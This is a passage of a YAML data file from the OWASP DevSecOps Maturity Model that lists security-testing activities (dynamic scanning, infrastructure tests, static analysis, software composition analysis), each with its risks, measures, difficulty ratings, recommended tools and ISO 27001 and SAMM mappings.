7ce77258-bf65-4e7a-9627-daf765ee1d77 + name: OpenAPI Specifications + tags: [] + url: https://spec.openapis.org/ + - uuid: 42a87524-ec35-4de2-a30c-1a7c7d045801 + name: OWASP Zap + tags: + - vulnerability + - scanner + url: https://github.com/zaproxy/zaproxy + description: | + The OWASP Zed Attack Proxy (ZAP) is one of the world's most popular free security tools and is actively maintained by a dedicated international team of ... + - uuid: c9bbecf2-567b-4422-b29a-67b16385f32b + name: Schemathesis + tags: + - testing + - api + - documentation + url: https://github.com/schemathesis/schemathesis + description: | + Schemathesis is a tool for testing web applications and services by sending requests based on the Open API / Swagger schema. + dependsOn: + - Usage of different roles + references: + samm2: + - V-ST-A-2 + iso27001-2017: + - not explicitly covered by ISO 27001 - too specific + iso27001-2022: + - ISO 27001:2022 mapping is missing + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Dynamic + depth for applications/6a9cb303-0f98-48a8-bdcd-56d41c0012b8 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Coverage of more input vectors: + uuid: 5e0ff85b-ec89-4ef0-96b1-5695fa0025dc + risk: Parts of the service are not covered. For example specially formatted + or coded parameters are not getting detected as parameter (e.g. parameters + in REST-like URLs, parameters in JSON-Format or base64-coded parameters). + measure: Special parameter and special encodings are defined, so that they get + fuzzed by the used vulnerability scanners. + difficultyOfImplementation: + knowledge: 5 + time: 5 + resources: 1 + usefulness: 4 + level: 3 + dependsOn: + - Usage of different roles + references: + samm2: + - V-RT-B-1 + iso27001-2017: + - not explicitly covered by ISO 27001 - too specific + iso27001-2022: + - ISO 27001:2022 mapping is missing + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Dynamic + depth for applications/5e0ff85b-ec89-4ef0-96b1-5695fa0025dc + implementation: + - uuid: c9bbecf2-567b-4422-b29a-67b16385f32b + name: Schemathesis + tags: + - testing + - api + - documentation + url: https://github.com/schemathesis/schemathesis + description: | + Schemathesis is a tool for testing web applications and services by sending requests based on the Open API / Swagger schema. + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Coverage of sequential operations: + uuid: 845f06ec-148c-4c67-9755-7041911dcca5 + risk: Sequential operations like workflows (e.g. login -> put products in the + basket + measure: Sequential operations are defined and checked by the vulnerability + scanner in the defined order. + difficultyOfImplementation: + knowledge: 3 + time: 3 + resources: 1 + usefulness: 5 + level: 3 + implementation: + - uuid: f2a5f642-43b3-4b2c-97d5-b14d5964981b + name: cURL + tags: [] + url: https://curl.se/ + dependsOn: + - Usage of different roles + references: + samm2: + - V-ST-A-2 + iso27001-2017: + - 14.2.8 + - 14.2.3 + iso27001-2022: + - 8.32 + - 8.29 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Dynamic + depth for applications/845f06ec-148c-4c67-9755-7041911dcca5 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Coverage of service to service communication: + uuid: 22aab0ef-76ce-4b8c-979c-3699784330db + risk: Service to service communication is not covered. + measure: Service to service communication is dumped and checked. + difficultyOfImplementation: + knowledge: 4 + time: 5 + resources: 2 + usefulness: 3 + level: 5 + dependsOn: + - Simple Scan + references: + samm2: + - V-ST-A-2 + iso27001-2017: + - 14.2.3 + - 14.2.8 + iso27001-2022: + - 8.32 + - 8.29 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Dynamic + depth for applications/22aab0ef-76ce-4b8c-979c-3699784330db + implementation: + - uuid: 000b55f9-e6fd-4649-8290-27876a0409e2 + name: Citrus Fresh Integration Testing + tags: + - framework + - testing + url: https://citrusframework.org/ + description: Integration Test framework with focus on messaging applications + and Microservices. + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Simple Scan: + uuid: 07796811-37f9-467c-9ff2-48f346e77ff3 + risk: Deficient security tests are performed. Simple vulnerabilities are not + detected and missing security configurations (e.g. headers) are not set. Fast + feedback is not given. + measure: A simple scan is performed to get a security baseline. In case the + test is done in under 10 minutes, it should be part of the build and deployment + process. + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 1 + usefulness: 1 + level: 2 + dependsOn: + - Defined build process + implementation: + - uuid: 42a87524-ec35-4de2-a30c-1a7c7d045801 + name: OWASP Zap + tags: + - vulnerability + - scanner + url: https://github.com/zaproxy/zaproxy + description: | + The OWASP Zed Attack Proxy (ZAP) is one of the world's most popular free security tools and is actively maintained by a dedicated international team of ... + - uuid: 83ae1e92-5eb9-4467-b3d3-fd2f96e6ab63 + name: Arachni + url: https://github.com/Arachni/arachni + references: + samm2: + - V-ST-A-1 + iso27001-2017: + - 14.2.3 + - 14.2.8 + iso27001-2022: + - 8.32 + - 8.29 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Dynamic + depth for applications/07796811-37f9-467c-9ff2-48f346e77ff3 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Usage of different roles: + uuid: 65a2d7d9-5441-46bf-a4e3-f76919857750 + risk: Parts of the service are not covered during the scan, because a login + is not performed. + measure: Integration of authentication with all roles used in the service. + difficultyOfImplementation: + knowledge: 3 + time: 3 + resources: 1 + usefulness: 2 + level: 2 + dependsOn: + - Simple Scan + references: + samm2: + - V-ST-A-2 + iso27001-2017: + - not explicitly covered by ISO 27001 - too specific + - 14.2.3 + - 14.2.8 + iso27001-2022: + - 8.32 + - 8.29 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Dynamic + depth for applications/65a2d7d9-5441-46bf-a4e3-f76919857750 + implementation: + - uuid: 7eb37566-02d5-4fff-8dcf-8fcd1c8197f3 + name: Zest + url: https://www.zaproxy.org/docs/desktop/addons/zest/ + tags: + - zap + description: | + Zest is an experimental specialized scripting language (also known as a domain-specific language) originally developed by the Mozilla security team and is intended to be used in web oriented security tools. + assessment: For REST APIs, multiple OAuth2 scopes are used. + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Usage of multiple scanners: + uuid: 5b5a1eb2-113f-41fb-a3d6-06af4fdc9cea + risk: Each vulnerability scanner has different opportunities. By using just + one scanner, some vulnerabilities might not be found. + measure: Usage of multiple spiders and scanner enhance the coverage and the + vulnerabilities. + difficultyOfImplementation: + knowledge: 3 + time: 3 + resources: 5 + usefulness: 1 + level: 4 + dependsOn: + - Usage of different roles + implementation: + - uuid: f220b299-0917-4750-96c5-d81cd402b4df + name: OWASP secureCodeBox + tags: + - vulnerability + - scanner-orchestration + url: https://github.com/secureCodeBox/secureCodeBox + description: | + secureCodeBox is a kubernetes based, modularized toolchain for continuous security scans of your software project. Its goal is to orchestrate and easily automate a bunch of security-testing tools out of the box. + references: + samm2: + - V-ST-A-2 + iso27001-2017: + - 12.6.1 + - 14.2.5 + iso27001-2022: + - 8.8 + - 8.27 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Dynamic + depth for applications/5b5a1eb2-113f-41fb-a3d6-06af4fdc9cea + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Dynamic depth for infrastructure: + Load tests: + uuid: ab5725aa-4d53-47b9-96df-c14b3fa93bcd + risk: As it is unknown how many requests the systems and applications can serve, + due to an unexpected load the availability is disturbed. + measure: Load test against the production system or a production near system + is performed. + difficultyOfImplementation: + knowledge: 3 + time: 2 + resources: 5 + usefulness: 3 + level: 4 + implementation: [] + references: + samm2: + - V-RT-AB-1 + iso27001-2017: + - 12.1.3 + - 14.2.3 + - 14.2.8 + iso27001-2022: + - 8.6 + - 8.32 + - 8.29 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Dynamic + depth for infrastructure/ab5725aa-4d53-47b9-96df-c14b3fa93bcd + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Test for exposed services: + uuid: a6c4cefb-a0b7-4787-8cc7-a0f96b4b00d8 + risk: Standard network segmentation and firewalling has not been performed, + leading to world open cluster management ports. + measure: With the help of tools the network configuration of unintentional exposed + cluster(s) are tested. To identify clusters, all subdomains might need to + be identified with a tool like OWASP Amass to perform port scans based o the + result. + difficultyOfImplementation: + knowledge: 1 + time: 1 + resources: 2 + dependsOn: + - Isolated networks for virtual environments + usefulness: 2 + level: 2 + implementation: + - uuid: 08111dc3-bdc4-47d8-8f2e-10bb50a86882 + name: nmap + tags: [] + url: https://nmap.org/ + - uuid: f085295e-46a3-4c8d-bbc3-1ac6b9dfcf2a + name: OWASP Amass + tags: [] + url: https://github.com/OWASP/Amass + references: + samm2: + - V-ST-A-1 + iso27001-2017: + - 13.1.3 + - 14.2.3 + - 14.2.8 + iso27001-2022: + - 8.22 + - 8.32 + - 8.29 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Dynamic + depth for infrastructure/a6c4cefb-a0b7-4787-8cc7-a0f96b4b00d8 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Test for unauthorized installation: + uuid: dccf1949-b9a8-4ce8-b992-6a4a7f3a623a + risk: Unapproved components are used. + measure: Components must be whitelisted. Regular scans on the docker infrastructure + (e.g. cluster) need to be performed, to verify that only standardized base + images are used. + difficultyOfImplementation: + knowledge: 2 + time: 1 + resources: 1 + usefulness: 3 + level: 3 + implementation: + - uuid: 349cf64c-abea-40bb-bd07-9c98ce648fa4 + name: 'Example: All docker images used by teams need to be based on standard + images.' + tags: [] + comments: By preventing teams from trying out new components, innovation might + be hampered + references: + samm2: [] + iso27001-2017: + - 12.5.1 + - 12.6.1 + iso27001-2022: + - 8.19 + - 8.8 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Dynamic + depth for infrastructure/dccf1949-b9a8-4ce8-b992-6a4a7f3a623a + dependsOn: + - Evaluation of the trust of used components + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Test for unused Resources: + uuid: 6532c1fe-9d23-4228-8722-558ddabca7d4 + risk: Unused resources, specially secrets, might be still valid, but are exposing + information. As an attacker, I compromise a system, gather credentials and + try to use them. + measure: Test for unused resources helps to identify unused resources. + difficultyOfImplementation: + knowledge: 1 + time: 1 + resources: 1 + usefulness: 2 + level: 5 + implementation: + - uuid: 8fea20ad-e332-4aa8-b1f1-aa9deb635dc1 + name: K8sPurger + tags: + - vulnerability + - scanner + - dast + - infrastructure + url: https://github.com/yogeshkk/K8sPurger + description: | + Hunt Unused Resources In Kubernetes. + references: + samm2: + - V-ST-A-1 + iso27001-2017: + - 13.1.3 + - 14.2.3 + - 14.2.8 + iso27001-2022: + - 8.22 + - 8.32 + - 8.29 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Dynamic + depth for infrastructure/6532c1fe-9d23-4228-8722-558ddabca7d4 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Test network segmentation: + uuid: 6d2c3ac6-8afc-4af6-a5e9-6188341aca01 + risk: Wrong or no network segmentation of pods makes it easier for an attacker + to access a database and extract or modify data. + measure: Cluster internal test needs to be performed. Integration of fine granulated + network segmentation (also between pods in the same namespace). + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 1 + usefulness: 3 + level: 2 + implementation: + - uuid: fffa6fb9-1fae-4852-88dc-c7086961330c + name: netassert + tags: [] + url: https://github.com/controlplaneio/netassert + dependsOn: + - Isolated networks for virtual environments + references: + samm2: + - V-ST-A-2 + iso27001-2017: + - 13.1.3 + - 14.2.3 + - 14.2.8 + iso27001-2022: + - 8.22 + - 8.32 + - 8.29 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Dynamic + depth for infrastructure/6d2c3ac6-8afc-4af6-a5e9-6188341aca01 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Test of the configuration of cloud environments: + uuid: 7bb70764-9392-4462-935d-e55b2e148199 + risk: Standard hardening practices for cloud environments are not performed + leading to vulnerabilities. + measure: With the help of tools the configuration of virtual environments are + tested. + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 1 + usefulness: 4 + level: 2 + implementation: + - uuid: 893d9f37-2142-4490-996c-e43b55064d3d + name: kubescape + url: https://github.com/armosec/kubescape + tags: + - kubernetes + - vulnerability + - misconfiguration + description: _Testing if Kubernetes is deployed securely as defined in Kubernetes + Hardening Guidance by to NSA and CISA_ + - uuid: 2af7204c-a25c-4625-9775-889978386407 + name: kube-hunter + tags: [] + url: https://github.com/aquasecurity/kube-hunter + - uuid: d45fba7d-f176-4f06-a33c-434b17ec8a8f + name: openVAS + tags: [] + url: https://www.openvas.org/ + references: + samm2: [] + iso27001-2017: + - System hardening is not explicitly covered by ISO 27001 - too specific + - 12.6.1 + - 14.2.3 + - 14.2.8 + iso27001-2022: + - System hardening is not explicitly covered by ISO 27001 - too specific + - 8.8 + - 8.32 + - 8.29 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Dynamic + depth for infrastructure/7bb70764-9392-4462-935d-e55b2e148199 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Weak password test: + uuid: 61e10f9c-e126-4ffa-af12-fdbe0d0a831f + risk: Weak passwords in components like applications or systems, specially for + privileged accounts, lead to take over of that account. + measure: Automatic brute force attacks are performed. Specially the usage of + standard accounts like 'admin' and employee user-ids is recommended. + difficultyOfImplementation: + knowledge: 2 + time: 1 + resources: 1 + usefulness: 1 + level: 3 + implementation: + - uuid: b99c9d52-dd1a-4aef-8699-65173cf978ce + name: HTC Hydra + tags: + - password + url: https://www.htc-cs.com/en/products/htc-hydra/ + references: + samm2: + - V-ST-A-2 + iso27001-2017: + - 9.4.3 + iso27001-2022: + - 5.17 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Dynamic + depth for infrastructure/61e10f9c-e126-4ffa-af12-fdbe0d0a831f + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Static depth for applications: + API design validation: + uuid: 017d9e26-42b5-49a4-b945-9f59b308fb99 + risk: Creation of insecure or non-compliant API. + measure: | + Design contract-first APIs using an interface description language such as OpenAPI, AsyncAPI or SOAP + and validate the specification using specific tools. + Checks should be integrated in IDEs and CI/CD pipelines. + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 2 + usefulness: 3 + level: 3 + implementation: + - uuid: 261f243e-f89c-4169-b076-b22a03ec00be + name: Spectral + tags: + - linting + - api + - documentation + url: https://github.com/stoplightio/spectral + description: | + Spectral is a flexible JSON/YAML linter built with extensibility in mind. + It uses JSON/YAML path rules to describe the problems you want to find. + - uuid: d2c9403d-9da2-4518-b33f-8b74b9c5ca3f + name: API OAS Checker + tags: + - linting + - api + - documentation + url: https://github.com/italia/api-oas-checker + description: | + A tool to check OpenAPI specifications using a comprehensive ruleset based + on API best practices. + references: + samm2: + - V-ST-A-1 + iso27001-2017: + - 14.2.1 + - 14.2.5 + iso27001-2022: + - 8.25 + - 8.27 + - 8.28 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Static + depth for applications/017d9e26-42b5-49a4-b945-9f59b308fb99 + dependsOn: + - Inventory of production components + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Dead code elimination: + uuid: a8d7d1f1-fc24-49ab-8fb6-f3a03da9c61d + risk: Dead code increases the attack surface (use of hard coded credentials + and variables, sensitive information) + measure: Collection of unused code and then manual removal of unused code. + difficultyOfImplementation: + knowledge: 1 + time: 1 + resources: 1 + usefulness: 1 + level: 5 + implementation: + - uuid: 00702aca-04d9-49ca-90d0-c32c199b26cb + name: PMD + tags: [] + dependsOn: + - Defined build process + references: + samm2: + - V-ST-A-2 + iso27001-2017: + - Not explicitly covered by ISO 27001 - too specific + - 14.2.1 + - 14.2.5 + iso27001-2022: + - Not explicitly covered by ISO 27001 - too specific + - 8.25 + - 8.27 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Static + depth for applications/a8d7d1f1-fc24-49ab-8fb6-f3a03da9c61d + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Exclusion of source code duplicates: + uuid: d17dbff0-1f10-492a-b4c7-17bb59a0a711 + risk: Duplicates in source code might influence the stability of the application. + measure: Automatic Detection and manual removal of duplicates in source code. + difficultyOfImplementation: + knowledge: 1 + time: 1 + resources: 1 + usefulness: 1 + level: 5 + implementation: + - uuid: 00702aca-04d9-49ca-90d0-c32c199b26cb + name: PMD + tags: [] + dependsOn: + - Defined build process + references: + samm2: + - V-ST-A-2 + iso27001-2017: + - Not explicitly covered by ISO 27001 - too specific + - 14.2.1 + - 14.2.5 + iso27001-2022: + - Not explicitly covered by ISO 27001 - too specific + - 8.25 + - 8.27 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Static + depth for applications/d17dbff0-1f10-492a-b4c7-17bb59a0a711 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Exploit likelihood estimation: + uuid: f2f0f274-c1a0-4501-92fe-7fc4452bc8ad + risk: Without proper prioritization, organizations may waste time and effort + on low-risk vulnerabilities while neglecting critical ones. + measure: Estimate the likelihood of exploitation by using data (CISA KEV) from + the past or prediction models (e.g. Exploit Prediction Scoring System, EPSS). + description: Severity-based vulnerability triage alone generates a lot false + positives, requiring a more refined approach. + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 2 + usefulness: 4 + level: 3 + dependsOn: + - Software Composition Analysis (server side) + implementation: + - uuid: aa507341-9531-42cd-95cf-d7b51af47086 + name: Known Exploited Vulnerabilities + tags: + - vulnerability + url: https://www.cisa.gov/known-exploited-vulnerabilities-catalog + description: A catalog of vulnerabilities that have been exploited. + - uuid: e39afc58-8195-4600-92c6-11922e3a141b + name: Exploit Prediction Scoring System + tags: + - vulnerability + url: https://www.first.org/epss/ + description: Estimates the likelihood that a software vulnerability will be + exploited. + references: + samm2: + - V-ST-A-2 + - I-SB-B-3 + iso27001-2017: + - 12.6.1 + iso27001-2022: + - 8.8 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Static + depth for applications/f2f0f274-c1a0-4501-92fe-7fc4452bc8ad + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Local development security checks performed: + uuid: 6e180abc-7c98-4265-b4e9-852cb91b067b + risk: Creating and developing code contains code smells and quality issues. + measure: | + Integration of quality and linting plugins with interactive development environment (IDEs). + Implement pre-commit checks to prevent secrets & other security issues being commit to source code. + difficultyOfImplementation: + knowledge: 2 + time: 1 + resources: 1 + usefulness: 4 + level: 3 + implementation: + - uuid: 5b52a841-c281-45fd-b68f-0a93aa6fa398 + name: Fortify Extension for Visual Studio Code + url: https://marketplace.visualstudio.com/items?itemName=fortifyvsts.fortify-extension-for-vs-code + tags: + - ide + - sast + - uuid: cf1213fd-8bfa-4a97-bf8b-937c93f31005 + name: Setting Up the Visual Studio Code Extension Plugin + url: https://checkmarx.atlassian.net/wiki/spaces/SD/pages/1759216424/Setting+Up+the+Visual+Studio+Code+Extension+Plugin + tags: + - ide + - sast + - uuid: 3f5a493d-12d0-4468-b9fa-c3e4eae89ffb + name: HCL AppScan CodeSweep + url: https://marketplace.visualstudio.com/items?itemName=HCLTechnologies.hclappscancodesweep + tags: + - ide + - sast + - uuid: 58ac9dea-b6c7-4698-904e-df89a9451c82 + name: DevSecOps control Pre-commit + url: https://docs.microsoft.com/en-us/azure/cloud-adoption-framework/secure/devsecops-controls#plan-and-develop + tags: + - pre-commit + - uuid: 8da8d115-0f4e-40f0-a3ce-484a49e845fb + name: Building your DevSecOps pipeline 5 essential activities + url: https://www.synopsys.com/blogs/software-security/devsecops-pipeline-checklist/ + tags: + - pre-commit + references: + samm2: + - V-ST-A-1 + iso27001-2017: + - Hardening is not explicitly covered by ISO 27001 - too specific + - 13.1.3 + iso27001-2022: + - Hardening is not explicitly covered by ISO 27001 - too specific + - 8.22 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Static + depth for applications/6e180abc-7c98-4265-b4e9-852cb91b067b + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Software Composition Analysis (client side): + uuid: 07fe8c4f-ae33-4409-b1b2-cf64cfccea86 + risk: Client side components might have vulnerabilities. + measure: Tests for known vulnerabilities in components via Software Composition + Analysis of the frontend are performed. + difficultyOfImplementation: + knowledge: 1 + time: 2 + resources: 1 + usefulness: 2 + level: 3 + dependsOn: + - Defined build process + - Inventory of production components + - Exploit likelihood estimation + implementation: + - uuid: aa54a82c-d628-4d42-9bc8-1aa269cd91c7 + name: retire.js + tags: [] + url: https://github.com/RetireJS/retire.js/ + - uuid: 7c26484a-763c-437d-b953-d482a4fd7cf3 + name: npm audit + tags: [] + url: https://docs.npmjs.com/cli/audit + - uuid: 500399bd-7dfc-47fd-99d8-b55cefb760a9 + name: Dependency-Track is an intelligent Component Analysis platform that + allows organizations to identify and reduce risk in the software supply + chain. Dependency-Track takes a unique and highly beneficial approach by + leveraging the capabilities of Software Bill of Materials (SBOM). + url: https://github.com/DependencyTrack/dependency-track + tags: + - sca + - inventory + - OpenSource + - Supply Chain + - vulnerability + - inventory + - uuid: 5c0e817b-204e-4301-a315-2f7cc180c240 + name: Dependabot + tags: + - dependency + - dependency-management + - scm + url: https://github.com/dependabot/dependabot-core + description: | + Dependabot creates pull requests to keep your dependencies secure and up-to-date. + references: + samm2: + - V-ST-A-2 + - I-SB-B-2 + iso27001-2017: + - 12.6.1 + iso27001-2022: + - 8.8 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Static + depth for applications/07fe8c4f-ae33-4409-b1b2-cf64cfccea86 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Software Composition Analysis (server side): + uuid: d918cd44-a972-43e9-a974-eff3f4a5dcfe + description: Use a tool like trivy and concentrate on application related vulnerabilities. + At this stage, ignore vulnerabilities in container base images used in the + service. + risk: Server side components might have vulnerabilities. + measure: Tests for known vulnerabilities in server side components (e.g. backend/middleware) + are performed. + difficultyOfImplementation: + knowledge: 1 + time: 3 + resources: 1 + usefulness: 5 + level: 2 + dependsOn: + - Defined build process + - Inventory of production components + implementation: + - uuid: 06334caf-8be6-487a-96b1-d41c7ed5f207 + name: OWASP Dependency Check + tags: + - OpenSource + - Supply Chain + - vulnerability + url: https://owasp.org/www-project-dependency-check/ + - uuid: 500399bd-7dfc-47fd-99d8-b55cefb760a9 + name: Dependency-Track is an intelligent Component Analysis platform that + allows organizations to identify and reduce risk in the software supply + chain. Dependency-Track takes a unique and highly beneficial approach by + leveraging the capabilities of Software Bill of Materials (SBOM). + url: https://github.com/DependencyTrack/dependency-track + tags: + - sca + - inventory + - OpenSource + - Supply Chain + - vulnerability + - inventory + - uuid: aa54a82c-d628-4d42-9bc8-1aa269cd91c7 + name: retire.js + tags: [] + url: https://github.com/RetireJS/retire.js/ + - uuid: 7c26484a-763c-437d-b953-d482a4fd7cf3 + name: npm audit + tags: [] + url: https://docs.npmjs.com/cli/audit + - uuid: 5c0e817b-204e-4301-a315-2f7cc180c240 + name: Dependabot + tags: + - dependency + - dependency-management + - scm + url: https://github.com/dependabot/dependabot-core + description: | + Dependabot creates pull requests to keep your dependencies secure and up-to-date. + - uuid: 7f500e95-2110-44c4-a1f8-cd7ef5d9eb6b + name: https://github.com/aquasecurity/trivy + tags: [] + url: https://github.com/aquasecurity/trivy + references: + samm2: + - V-ST-A-2 + - I-SB-B-2 + iso27001-2017: + - 12.6.1 + iso27001-2022: + - 8.8 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Static + depth for applications/d918cd44-a972-43e9-a974-eff3f4a5dcfe + tags: + - vmm-testing + teamsImplemented: + Default: false + B: false + C: false + Static analysis for all components/libraries: + uuid: f4ff841d-3b2a-45d9-853e-5ec7ecbcb054 + risk: Used components like libraries and legacy applications might have vulnerabilities + measure: Usage of a static analysis for all used components. + difficultyOfImplementation: + knowledge: 2 + time: 4 + resources: 2 + usefulness: 3 + level: 5 + dependsOn: + - Static analysis for important client side components + - Static analysis for important server side components + - Inventory of production components + implementation: [] + references: + samm2: + - V-ST-A-2 + - I-SB-B-3 + iso27001-2017: + - 12.6.1 + iso27001-2022: + - 8.8 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Static + depth for applications/f4ff841d-3b2a-45d9-853e-5ec7ecbcb054 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Static analysis for all self written components: + uuid: ee68331f-9b1d-4f61-844b-b2ea04753a84 + risk: Parts in the source code of the frontend or middleware have vulnerabilities. + measure: Usage of static analysis tools for all parts of the middleware and + frontend. Static analysis uses for example string matching algorithms and/or + dataflow analysis. + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 1 + usefulness: 4 + level: 4 + implementation: + - uuid: 6a0948a7-4781-4858-9766-f4303971b28b + name: eslint + tags: [] + url: https://eslint.org/ + - uuid: f911d2b4-3e0c-424c-acf9-3bd363ef5078 + name: FindSecurityBugs + tags: [] + - uuid: cccc2882-62ab-4175-afa1-58471017e8ed + name: jsprime + tags: [] + url: https://github.com/dpnishant/jsprime + - uuid: 5b52a841-c281-45fd-b68f-0a93aa6fa398 + name: Fortify Extension for Visual Studio Code + url: https://marketplace.visualstudio.com/items?itemName=fortifyvsts.fortify-extension-for-vs-code + tags: + - ide + - sast + - uuid: cf1213fd-8bfa-4a97-bf8b-937c93f31005 + name: Setting Up the Visual Studio Code Extension Plugin + url: https://checkmarx.atlassian.net/wiki/spaces/SD/pages/1759216424/Setting+Up+the+Visual+Studio+Code+Extension+Plugin + tags: + - ide + - sast + - uuid: 3f5a493d-12d0-4468-b9fa-c3e4eae89ffb + name: HCL AppScan CodeSweep + url: https://marketplace.visualstudio.com/items?itemName=HCLTechnologies.hclappscancodesweep + tags: + - ide + - sast + dependsOn: + - Static analysis for important client side components + - Static analysis for important server side components + - Inventory of production components + references: + samm2: + - V-ST-A-2 + - I-SB-B-3 + iso27001-2017: + - 12.6.1 + iso27001-2022: + - 8.8 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Static + depth for applications/ee68331f-9b1d-4f61-844b-b2ea04753a84 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Static analysis for important client side components: + uuid: e237176b-bec5-447d-a926-e37d6dd60e4b + risk: Important parts in the source code of the frontend have vulnerabilities. + measure: Usage of static analysis tools for important parts of the frontend + are used. Static analysis uses for example string matching algorithms and/or + dataflow analysis. + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 1 + usefulness: 3 + level: 3 + implementation: + - uuid: 6a0948a7-4781-4858-9766-f4303971b28b + name: eslint + tags: [] + url: https://eslint.org/ + - uuid: f911d2b4-3e0c-424c-acf9-3bd363ef5078 + name: FindSecurityBugs + tags: [] + - uuid: cccc2882-62ab-4175-afa1-58471017e8ed + name: jsprime + tags: [] + url: https://github.com/dpnishant/jsprime + - uuid: 3a8ba0ea-37dc-4124-983b-bbf9b4443d75 + name: '[bdd-mobile-security' + tags: [] + url: https://github.com/ing-bank/bdd-mobile-security-automation-framework + description: '[bdd-mobile-security-automation-framework](https://github.com/ing-bank/bdd-mobile-security-automation-framework)' + - uuid: 5b52a841-c281-45fd-b68f-0a93aa6fa398 + name: Fortify Extension for Visual Studio Code + url: https://marketplace.visualstudio.com/items?itemName=fortifyvsts.fortify-extension-for-vs-code + tags: + - ide + - sast + - uuid: cf1213fd-8bfa-4a97-bf8b-937c93f31005 + name: Setting Up the Visual Studio Code Extension Plugin + url: https://checkmarx.atlassian.net/wiki/spaces/SD/pages/1759216424/Setting+Up+the+Visual+Studio+Code+Extension+Plugin + tags: + - ide + - sast + - uuid: 3f5a493d-12d0-4468-b9fa-c3e4eae89ffb + name: HCL AppScan CodeSweep + url: https://marketplace.visualstudio.com/items?itemName=HCLTechnologies.hclappscancodesweep + tags: + - ide + - sast + dependsOn: + - Defined build process + - Inventory of production components + references: + samm2: + - V-ST-A-2 + iso27001-2017: + - 12.6.1 + iso27001-2022: + - 8.8 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Static + depth for applications/e237176b-bec5-447d-a926-e37d6dd60e4b + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Static analysis for important server side components: + uuid: 6c05c837-8c99-46e2-828b-7c903e27dba4 + risk: Important parts in the source code of the middleware have vulnerabilities. + measure: Usage of static analysis tools for important parts of the middleware + are used. Static analysis uses for example string matching algorithms and/or + dataflow analysis. + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 1 + usefulness: 4 + level: 3 + implementation: + - uuid: 6a0948a7-4781-4858-9766-f4303971b28b + name: eslint + tags: [] + url: https://eslint.org/ + - uuid: f911d2b4-3e0c-424c-acf9-3bd363ef5078 + name: FindSecurityBugs + tags: [] + - uuid: cccc2882-62ab-4175-afa1-58471017e8ed + name: jsprime + tags: [] + url: https://github.com/dpnishant/jsprime + - uuid: 5b52a841-c281-45fd-b68f-0a93aa6fa398 + name: Fortify Extension for Visual Studio Code + url: https://marketplace.visualstudio.com/items?itemName=fortifyvsts.fortify-extension-for-vs-code + tags: + - ide + - sast + - uuid: 